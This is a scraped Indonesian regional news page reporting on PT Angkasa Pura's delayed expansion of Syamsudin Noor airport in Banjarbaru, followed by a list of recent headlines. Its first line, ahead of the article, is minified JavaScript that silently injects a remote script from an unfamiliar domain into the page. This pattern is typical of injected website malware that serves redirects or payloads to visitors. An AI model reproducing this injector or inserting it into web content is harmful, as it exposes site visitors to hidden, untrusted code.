(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

PT Angkasa Pura Kejar Keterlambatan Proyek Bandara Syamsudin Noor


Ditambahkan, pihaknya cukup optimistis pembangunan proyek paket 2 selesai akhir 2018 sehingga fasilitas bandara itu bisa dioperasikan awal 2019 disusul paket 1 yang siap dikerjakan. “Proyek paket 2 ditarget selesai akhir 2018 sehingga bisa dioperasikan awal 2019 dan paket 1 selesai akhir 2019 sehingga awal 2020 seluruh fasilitas bandara bisa difungsikan,” katanya.

Sebelumnya Taochid mengatakan, per tanggal 14 Januari lalu progres pengembangan bandara untuk paket 1 atau gedung terminal dalam proses pelelangan di kantor pusat. “Paket 2 didalamnya termasuk infrastruktur, bangunan penunjang dan perluasan apron,” sebutnya.

Dia juga tak menampak masih adanya permasalahan pembangunan Jalan Lingkar Utara dari Km 17 menuju bandara oleh Pemprov belum terselesaikan pembebasan lahan dan konstruksinya, menunggu realisasi APBD tahun 2018 ini. “Selain itu, jalan akses utama bandara dari Jalan Lingkar Utara sepanjang kurang lebih 300 meter juga menunggu realisasi pembangunan oleh Pemprov Kalsel di tahun 2018 ini,” bebernya.

Pengembangan bandara ini dimulai pada tahun 2016 dan direncanakan selesai pada tahun 2018 dengan target operasi pada tahun 2019. Menurut Taochid, pengembangan bandara Syamsudin Noor Banjarmasin merupakan proyek strategis nasional yang tertuang dalam Perpres Nomor 58 tahun 2017.

Adapun pengembangan terdiri dari dua paket pekerjaan. “Tahap I yakni pengembangan terminal dan fasilitas penunjangnya serta tahap II meliputi infrastruktur, bangunan penunjang dan perluasan apron,” ujarnya.

Untuk terminal eksisting seluas 9.043 meter persegi akan diubah fungsinya menjadi terminal kargo. Pada tahap pertama akan dibangun terminal seluas 65.284 meter persegi dengan daya tampung 6 juta penumpang per tahun. Kemudian pada tahap kedua akan dibangun terminal penumpang seluas 108.134 meter persegi dengan daya tampung 10 juta penumpang per tahun.

Apron yang ada saat ini seluas 80.412 meter persegi dan mampu menampung 8 pesawat Boeing 737 atau Airbus A320. Untuk pengembangan apron akan dibangun lagi seluas 129.812 meter persegi dengan kapasitas 2 pesawat Boeing 747, 2 pesawat Boeing 767, 12 pesawat Boeing 737, dan 2 pesawat ATR.(cel/ant)

Reporter: cel/ant
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Ragam Kerajinan Rotan Merah Mejeng di Expo HUT ke-44 Dekranas

KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More

6 jam ago

Pj Bupati Erlin Hardi Berdialog dengan Mahasiswa Kapuas di Yogya

KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More

7 jam ago

Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

8 jam ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

21 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

22 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

22 jam ago

This website uses cookies.